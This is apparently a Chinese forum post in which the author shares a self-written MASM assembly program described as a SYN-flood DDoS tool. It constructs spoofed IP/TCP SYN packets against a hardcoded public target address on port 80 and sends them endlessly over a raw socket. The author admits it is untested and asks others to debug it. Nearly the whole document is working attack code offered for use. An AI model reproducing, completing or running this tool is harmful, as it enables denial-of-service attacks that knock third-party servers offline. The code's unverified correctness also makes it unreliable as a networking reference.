自己用汇编写的一个SYN攻击软件，俗称DDOS攻击

由于本人使用的是XP SP3版本，此版本关闭了发送原始套接字的功能，所以没有最后调试成功。

有WIN2000的朋友能够帮忙调试的话请把调试结果高诉我，调试时可用科来软件嗅探数据包。

.386

.model flat, stdcall

option casemap :none

include   windows.inc

include   user32.inc

includelib user32.lib

include   kernel32.inc

includelib kernel32.lib

include   wsock32.inc

includelib wsock32.lib

;;IP数据包头部结构定义

ip_head struct

h_lenver db ? ;4位IP版本号+4位首部长度

TOS   db ? ;8位服务类型

ip_len dw ? ;16位IP+TCP数据包总长度

ident   dw ? ;16位标识

frag_and_flags dw ? ;3位分片标志+13位分片偏移

ttl   db ? ;8位生存时间

proto1 db ? ;8位协议类型

checksum dw ? ;16位校验和

sourceIP dd ? ;32位源IP

destIP dd ? ;32位目的IP

ip_head ends

;;TCP头部结构定义

tcp_head struct

th_sport   dw ? ;16位源端口

th_dport   dw ? ;16位目的端口

th_seq   dd ? ;32位序列号

th_ack   dd ? ;32位确认号

th_lenres db ? ;4位首部长度+6位保留字,注意这个字段和下面的标志共16位，因6位保留为0，为了定义方便所以填充时可按8位填充两个字段

th_flag   db ? ;6位标志位

th_win   dw ? ;16位窗口大小

th_sum   dw ? ;16位校验和

th_urp   dw ? ;16位紧急数据偏移量

tcp_head ends

;;伪TCP头部结构定义，伪TCP头部是用来求效验和的

wtcp_h struct

saddr   dd ? ;32位IP头部里的源地址

daddr   dd ? ;32位IP头部里的目的地址

mbz   db ? ;8位全0

ptcl   db ? ;8位协议类型，TCP是6

tcpl   dw ? ;16位TCP总长度

wtcp_h ends

.data?

s dd ?

SendBuf db 64 dup (?) ;缓冲区

Sendlen dd ?   ;缓冲区有效长度

stWsa   WSADATA <>

stsin   sockaddr_in <>

iphead ip_head <>

tcphead tcp_head <>

wtcp   wtcp_h <>

.data

flag db TRUE

.const

syn_s db '58.30.17.108',0 ;攻击目标地址

syn_c db '10.1.1.100',0 ;攻击源地址

ip_len equ sizeof ip_head+sizeof tcp_head ;IP+TCP总长度

.code

;求校验和的子程序，参数一是缓冲区地址，参数二是缓冲区有效长度

_checksum proc uses ebx ecx edi lp,sum

local @szBuffer[64]:byte

mov esi,lp   ;内存拷贝代码开始

lea edi,@szBuffer

mov ecx,sum   ;大小

cld

rep movsb   ;内存拷贝代码结束

xor eax,eax

xor ebx,ebx

   xor ecx,ecx

lea edi,@szBuffer

mov ax,[edi]

clc

.while ebx<sum

   add ebx,2

   .break .if ebx == sum

   mov cx,[ebx+edi]

   add ax,cx

   .if CARRY?

    add ax,1

    clc

   .endif

.endw

not ax

ret

_checksum endp

start:

;填充IP首部

mov iphead.h_lenver,45h ;高4位版本号,低4位首部长度，步长4字节共20字节

mov iphead.TOS,0 ;8位服务类型

mov iphead.ip_len,ip_len ;16位IP+TCP总长度

invoke htons,iphead.ip_len ;转换为网络顺序

mov iphead.ip_len,ax

mov iphead.ident,1 ;16位标识，此数值为不固定数值，一般为网卡总发包数

xor eax,eax

mov iphead.frag_and_flags,ax ;3位分片标志+13位分片偏移,这里不分片所以为0

mov iphead.ttl,128 ;8位生存时间

mov iphead.proto1,6 ;8位协议类型.6为TCP

mov iphead.checksum,0 ;16位校验和,计算前必须为0

invoke inet_addr,addr syn_c ;转换攻击源地址为网络顺序

mov iphead.sourceIP,eax   ;转换后的IP地址保存到结构里

invoke inet_addr,addr syn_s ;转换攻击目标地址为网络顺序

mov iphead.destIP,eax   ;转换后的IP地址保存到结构里

;填充TCP首部

invoke htons,8000

mov tcphead.th_sport,ax ;16位源端口

invoke htons,80

mov tcphead.th_dport,ax ;16位目的端口

invoke htonl,1000

mov tcphead.th_seq,eax ;32位序列号,此数值不是固定数应是随机数

mov tcphead.th_ack,0 ;32位确认号,第一次握手为0

mov tcphead.th_lenres,80

mov tcphead.th_flag,2 ;6位标志位,syn

invoke htons,65535

mov tcphead.th_win,ax ;16位窗口大小

mov tcphead.th_sum,0 ;16位校验和,计算前必须为0

mov tcphead.th_urp,0 ;16位紧急数据偏移量

;填充伪TCP首部

push iphead.sourceIP

pop wtcp.saddr ;32位IP头部里的源地址

push iphead.destIP

pop wtcp.daddr ;32位IP头部里的目的地址

mov wtcp.mbz,0 ;8位全0

mov wtcp.ptcl,6 ;8位协议类型，TCP是6

mov ax,sizeof ip_head

invoke htons,ax

mov wtcp.tcpl,ax ;16位TCP总长度

;IP和TCP校验和计算

mov esi,offset wtcp   ;将tcp伪首部拷贝到

mov edi,offset SendBuf ;缓冲区SendBuf处

mov ecx,sizeof wtcp   ;大小为sizeof wtcp

cld

rep movsb   ;内存拷贝代码结束

mov esi,offset tcphead   ;将tcp首部拷贝到

mov edi,offset SendBuf+sizeof wtcp ;缓冲区SendBuf伪tcp首部后面

mov ecx,sizeof tcphead   ;大小为sizeof tcphead

cld

rep movsb   ;内存拷贝代码结束

invoke _checksum,addr SendBuf,sizeof tcphead+sizeof wtcp ;计算TCP首部效验和

mov tcphead.th_sum,ax

xor eax,eax ;缓冲区清0

mov edi,offset SendBuf

mov ecx,sizeof SendBuf

cld

rep stosb ;清0结束

mov esi,offset iphead   ;将iphead（IP首部）拷贝到

mov edi,offset SendBuf ;缓冲区SendBuf处

mov ecx,sizeof iphead   ;大小为sizeof iphead

cld

rep movsb   ;内存拷贝代码结束

mov esi,offset tcphead   ;将tcp首部拷贝到

mov edi,offset SendBuf+sizeof iphead ;缓冲区ip首部后面

mov ecx,sizeof tcphead   ;大小为sizeof tcphead

cld

rep movsb   ;内存拷贝代码结束

invoke _checksum,addr SendBuf,sizeof iphead+sizeof tcphead ;计算IP首部效验和

mov iphead.checksum,ax   ;IP首部效验和保存到结构里

;初始化SOCKET并发送数据

invoke inet_addr,addr syn_s   ;转换IP地址为网络顺序

mov stsin.sin_addr,eax   ;转换后的IP地址保存到结构里

mov stsin.sin_family,AF_INET

invoke htons,80   ;把端口转换为网络顺序

mov stsin.sin_port,ax   ;转换后端口保存到结构里

invoke WSAStartup,2h,addr stWsa   ;装载SOCKET

invoke socket,AF_INET,SOCK_RAW,IPPROTO_RAW ;初始化SOCKET为原始套接字模式

mov s,eax   ;保存初始化成功的句柄

invoke setsockopt,s,IPPROTO_IP,1,addr flag,sizeof flag

invoke WSAGetLastError

.while 1

   invoke sendto,s,addr SendBuf,sizeof iphead+sizeof tcphead,0,addr stsin,sizeof sockaddr_in   ;发送缓存里的字符到服务器

.endw

invoke closesocket,s   ;关闭SOCKET

invoke WSACleanup   ;卸载SOCKET

invoke ExitProcess,NULL   ;程序退出

end start